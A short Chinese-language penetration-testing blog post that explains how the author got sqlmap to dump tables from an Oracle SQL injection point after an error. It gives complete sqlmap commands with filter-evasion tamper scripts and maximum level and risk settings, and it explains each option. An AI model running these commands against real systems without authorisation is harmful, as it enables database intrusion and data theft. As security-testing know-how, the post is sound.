Oracle 注入之 SQLmap 程序报错解决

一、前言

文章实际价值并不高,测试手法也是经常使用的手法,其主要是为了提醒自己,当在遇到无法解决的问题时,多尝试其它的思路,遇到问题,解决问题,对任何事物保持开阔的思路。

二、问题发现

前段时间在测试中发现一个注入点,老选手单引号报错,双单引号闭合。

sql-1

sql-2

三、测试过程

于是乎 sqlmap 启动,可惜 Sqlmap 普通命令跑无法跑出数据表,得知数据库为 Oracle,报错 unable to retrieve the database names ,命令如下

1
python sqlmap.py -r 1.txt --tamper space2morecomment, apostrophemask.py --level 5 --risk 3 --random-agent --threads=5 --tables

sql-3

遇到问题,解决问题,启动 Google 搜索大法 unable to retrieve the database names,经过一番搜寻,多次尝试修改 sqlmap 命令,最终将命令修改为如下,也许有些命令是多余比如 space2morecomment ,因为目标为 oracle,但不影响使用,在实际中亦没有删掉,故这里保留一下。

1
python sqlmap.py -r 1.txt --tamper space2morecomment, apostrophemask.py,between.py,equaltolike.py --level 5 --risk 3 --random-agent --threads=5 --hex --tables --banner --dbms=oracle

1
2
3
4
5
6
7
8
9
10
11
12
--space2morecomment:将空格替换为/**_**/ 
--apostrophemask.py:将 ' 替换为其UTF-8全角等价字符 %EF%BC%87
--between.py:将 between替换大于号 >
--equaltolike:将 like 代替等号
--level 5:设置注入测试的级别为5,表示使用最高级别的测试。
--risk 3:设置注入测试的风险为3,表示使用最高风险的测试。
--random-agent:随机选择一个用户代理标头,以模拟不同的浏览器和操作系统。
--threads=5:指定使用5个线程进行注入测试。
--hex:使用十六进制编码注入数据。
--tables:获取数据库中的表信息。
--banner:显示目标数据库的横幅信息。
--dbms=oracle:指定目标数据库管理系统为 Oracle

apostrophemask.py

image-20240319162213334

between.py

image-20240319162615060

equaltolike.py

image-20240319162705626

最终跑出数据

image-20240319164556948